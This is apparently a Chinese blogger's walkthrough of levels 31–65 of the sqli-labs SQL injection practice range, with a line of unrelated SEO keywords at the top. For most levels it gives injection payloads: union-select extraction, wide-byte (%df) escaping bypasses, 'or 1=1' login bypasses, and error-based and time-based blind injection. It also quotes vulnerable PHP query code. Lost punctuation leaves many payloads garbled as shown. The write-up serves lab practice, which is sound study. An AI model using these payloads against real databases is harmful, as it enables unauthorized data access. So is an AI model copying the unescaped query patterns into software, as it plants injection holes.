带状疱疹的预防措施,短视频seo公司,wordpress在线优化,网页设计实验报告分析靶场#xff0c;靶场#xff0c;一个靶场打一天#xff0c;又是和waf斗智斗勇的一天#xff0c;waf我和你拼啦#xff01;#xff01; 31.多个)号
先是一套基本的判断 #xff0c;发现是字符型#xff0c;然后发现好像他什么都不过滤#xff1f;于是开始poc
3213131…靶场靶场一个靶场打一天又是和waf斗智斗勇的一天waf我和你拼啦 31.多个)号
先是一套基本的判断 发现是字符型然后发现好像他什么都不过滤于是开始poc
321313132unionselect2,user(),2
于是你就会又见到熟悉的朋友于是就能猜到又有这种东西 换句poc发现就能成功bypasss
321313132)unionselect2,user(),(2 32.宽字节注入
当我们添加一个 就能看见这样的回显 那就想都不用想就是宽字节注入于是就猜测是不是字符型其实如果他把注释符号也过滤了的话那就是绝杀了但是好险他不过滤 于是我们就构造poc 但是这里的盲注poc是不行的因为会被转义 所以要联合查询 33.你三十二关再考我一次是吧
这题还以为有什么过滤结果发现和上一关一摸一样 玩我是吧
34.宽字节登录
首先我们能看见一个登录界面不用想肯定是要我们免密码登录 由于先测试一下注入的姿势,能发现是宽字节的过滤 于是就有poc:
admin%dfor11--成功登录 35.why_care_for_addslahes()
做这题真就有种打ctf的感觉了有意思
首先一顿操作猛如虎先加一个单引号猜测是宽字节 然后就发现为啥啥都过滤但是却报错 无意间我瞅了一眼网页标签然后就就开始笑了我们判断字符注入的方法是什么你肯定会说 “单引号报错两个引号不报错”
不错确实是这样的但是对应宽字节呢来看宽字节的绕过过程
原来select * from users where id1 ;开始注入 select * from users where id1 %df/ %df/ ;然后就会被解释成 select * from users where id1運 運;
这是候的sql语句是肯定是错的 因为 中间多了一个中文字 所以我们根本无法根据报错来判断注入类型 也就是这个可能是字符型或者数字型 不信 不妨试试数字型的poc
0unionselect1,database(),user()--所以这就是他的网页名的来由why_care_addslashes的原因 与这个函数根本就没有关系 36.mysql_real_escape_string
这个函数和addslashes差不都是对一些特定的字符添加一个 / 并且拼接 所以他的poc和前面差不多或者说是一摸一样
0%dfunionselect1,user(),database()--
37.你三十四关又又又考完一次是吧
这个和三十四关又是一样的
我belike 不多说直接上poc
admin%dfor11--
38.堆叠注入
这个我在我之前的blog里面讲过就不多赘述了
39.堆叠注入但是数字型
这个其实就是堆叠注入的数字型 比字符型还简单 也不多赘述了 40.Seems 这个代码有点问题
做这一关的时候小编是有一点疑惑因为你会发现这一关的poc可以无限写
0)unionselect1,database(),user()--
1)andlength(database())8--
0)unionselect1,user(),database()--
你就会发现他们都是可以的难道这一关就止步于此 于是就去看了一下他的源代码发现好家伙代码还不少那不因该毫无新意啊 访问login.php,发现报错 于是我就发现问题出现在了login.php那里一起来看代码
$login sqllogin();
if (!$login 0)
{$_SESSION[username] $login;setcookie(Auth, 1, time()3600); /* expire in 15 Minutes */header(Location: logged-in.php);
}
else
{
?
trtd colspan2 styletext-align:center;br/p stylecolor:#FF0000;
center
img src../images/slap1.jpg
/center
/p/td/tr
?PHP
}
其中slap1.jpg就是我们看见的那张照片所以可以知道$login0,而$login又是通过sqllogin函数实现的那么我们去看一下sqllogin函数就好
function sqllogin(){$username mysql_real_escape_string($_POST[login_user]);$password mysql_real_escape_string($_POST[login_password]);$sql SELECT * FROM users WHERE username$username and password$password;
//$sql SELECT COUNT(*) FROM users WHERE username$username and password$password;$res mysql_query($sql) or die(You tried to be real smart, Try harder!!!! :( );$row mysql_fetch_row($res);print_r($row) ;if ($row[1]) {echo $row[1];} else {return 0;}}
来审计一下代码
首先就是mysql_real_escape_string函数用来将特殊字符转义接着就是查询如果查询成功就将得到的第一行结果输出否则就输出You tried to be real smart, Try harder!!!! :( 然后结束程序但是如果我们的login_user和login_password不设置值的话就会返回0 也就是我们现在所看见的页面情况
所以就在url拼接login_user 和 login_password这两个字段就好 但是不难发现就算将这两个字段拼接上也好也还是报错因该是还缺了什么参数不管了下一题
41.考了个啥还是堆叠
这道题也是做的云里雾里的啥都不过滤一句poc就注出来了 查看了源代码才发现原来是堆叠注入那也不多赘述了
42.Password字段没有过滤
尝试一下发现在账号处无论怎么测试都没有发现注入点于是就去试一下密码处成功报错 于是就开始我们的poc
password1or11
其实这里也可以进行堆叠查询因为这里也包含mysqli_mutil_query这个函数
43.还是多一个
这题其实和上一题一模一样 就是多一个 先上poc
passwordadmin)or11--
然后不知道你们会不会感到有点奇怪对于拼接之后的那个句子结构
$sql SELECT * FROM users WHERE username(111) and password(admin) or 11 ;
于是我就去跑去问了一下chatgpt 结果他给到了我这样一个回答
adminor11--
soga~~~原来如此
44.和四十二关一样
不知道为什么他的答案和四十二关一样那就直接上poc了
passwordadminor11--
45.又是多个
这个题思路和上一关一样只不过得到的字段被包裹所以直接上poc
login_passwordadmin)or11--
46.报错报错
这一题有点新颖这种一看就知道是order by的查询语句
其实这种还挺难搞
首先它不能拼接select 这种语句因为orderby 要放在句子的末尾然后就是拼接 and 11 或者 and 12 这种语句对查询结果不影响 而且源代码里面还不存在堆叠注入的点
所以这里只能报错注入了上poc
3andextractvalue(1,(concat(0x7e,(database()),0x7e)))-- 这样就能爆出他的数据库如果它不返回报错信息的话那么就基本上不存在注入了
47.多了个 号
这题其实就是和上面的那一题一样 只不过多一个 而已
3andextractvalue(1,(concat(0x7e,(database()),0x7e)))
48.盲注
这题更离谱它直接啥都不给你了于是可以盲注
3andsleep(1)
但是我很好奇就算盲注成功那攻击者也获取不了它的数据库信息啊所以这个sql注入有什么用 49.和上一关一样但是字符型
这一关就和上一关一样不过是字符型
50.可以堆叠但是条件苛刻
这一关是可以进行堆叠注入的 但是你返回的值要满足这样
if ($result mysqli_store_result($con1)){while($row mysqli_fetch_row($result)){echo font color #00FF11 size3; echo tr;echo td;printf(%s, $row[0]);echo /td;echo td;printf(%s, $row[1]);echo /td;echo td;printf(%s, $row[2]);echo /td;echo /tr;echo /font; }
能成功地返回这样的结果也可谓是十分困难了吧
51.我选择报错
这一关就直接报错注入就好了
1andextractvalue(1,(concat(0x7e,database(),0x7e)))--
52.我选择延时注入
poc:
sort1andsleep(1)
53.我还是选择延时注入
poc
1andsleep(4324324342)--
54.你能在十次以内做出来吗
这个其实有点在故弄玄虚其实就是一个普通的注入不要想太多 poc
111111unionselect1,database(),user()-- 你怎么知道我刚好在第十次猜出来了哈哈哈
55. 正常注入
还是和上面一样多试试就出来了
32131313123122)%20union%20select%201,database(),user()--56.多一个 无伤大雅
这个其实就是我们前面练的多的不多说
)unionselect1,user(),(1 57.换成 还是无伤大雅
不多说救赎之道就在标题 上poc
?id3213113211%20unionselect%201,user(),database()-- 58.??再看多一眼
这题一开始没做出来去看了题解才恍然大雾
$sqlSELECT * FROM security.users WHERE id$id LIMIT 0,1;$resultmysql_query($sql);$row mysql_fetch_array($result);if($row){echo font color #00FFFF; $unamesarray(Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4);$pass array_reverse($unames);echo Your Login name : . $unames[$row[id]];echo br;echo Your Password : .$pass[$row[id]];echo /font;
看似一切正常啥都不过滤但是细看发现 你的输出是什么鬼
所以这里只能报错注入了
1 and extractvalue(1,(concat(0x7e,database(),0x7e))) -- 59.数字型的58关
不多赘述 ,救赎之道就在标题
60.变成了 )
poc:
id1)%20and%20extractvalue(1,(concat(0x7e,database(),0x7e)))%20--
61.你没题出了是吧
不多说先来看看源码
$sqlSELECT * FROM security.users WHERE id(($id)) LIMIT 0,1; 不是出题人你无聊是吧搞这些 给我弄两个括号所以就能上poc了
id1%27))and%20extractvalue(1,(concat(0x7e,(database()),0x7e)))--
62.没有回显但是延时注入
这一关是没有回显的所以我们可以采用sleep来注入
id1) and sleep(21)--
63.还是62关但是没有括号
这一关只是没有括号而已
?id1%27and%20sleep(323)--
64.又是))是吧
这里的话就是还是有这样的逆天玩意 所以我们直接上poc就好
?id1))and%20if(length(database())10,1,0)1--
65.完结撒花,但是有
这里也是不多说直接上poc
id1)and%20if(length(database())10,1,0)1--
终于up的sqli靶场打完了 打的人都快麻了 先存一下小编的笔记以后回来复习如果记得的话